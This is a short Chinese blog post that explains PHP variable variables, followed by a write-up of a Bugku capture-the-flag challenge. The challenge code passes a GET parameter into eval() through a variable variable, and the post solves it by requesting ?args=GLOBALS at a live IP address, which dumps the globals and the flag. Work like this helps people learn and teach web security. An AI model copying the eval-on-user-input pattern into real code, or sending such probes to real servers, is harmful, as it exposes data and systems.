PHP之可变变量

0x00什么是可变变量?

可变变量是一种独特的变量,它允许动态改变一个变量名称。其原理是变量的名称由另外一个变量的值来确定,即一个可变变量获取了一个普通变量的值作为这个可变变量的变量名,实现过程是在变量前面多加美元符号 “$”。

0x01 代码示例

//You can even add more Dollar Signs

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

  //... and so on ...//

?>

0x03 例题——Bugku-变量1

题干如下:

flag In the variable !   

error_reporting(0);     //关闭所有php报错
include "flag1.php";        //包含flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){       //get方式传递args变量执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){   //正则表达式匹配任意 [A-Za-z0-9_] 字符,即任意大小写字母和0到9以及下划线
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

测试php的全局变量,将其变量名传入,给变量传一个全局数组变量,测试构造 ?args=GLOBALS加到URL后面

http://120.24.86.145:8004/index1.php?args=GLOBALS

便可得到FLAG

array(7) { [“GLOBALS”]=> RECURSION [“_POST”]=> array(0) { } [“_GET”]=> array(1) { [“args”]=> string(7) “GLOBALS” } [“_COOKIE”]=> array(0) { } [“_FILES”]=> array(0) { } [“ZFkwe3”]=> string(38) “flag{92853051ab894a64f7865cf3c2128b34}” [“args”]=> string(7) “GLOBALS” }

你可能感兴趣的:(PHP)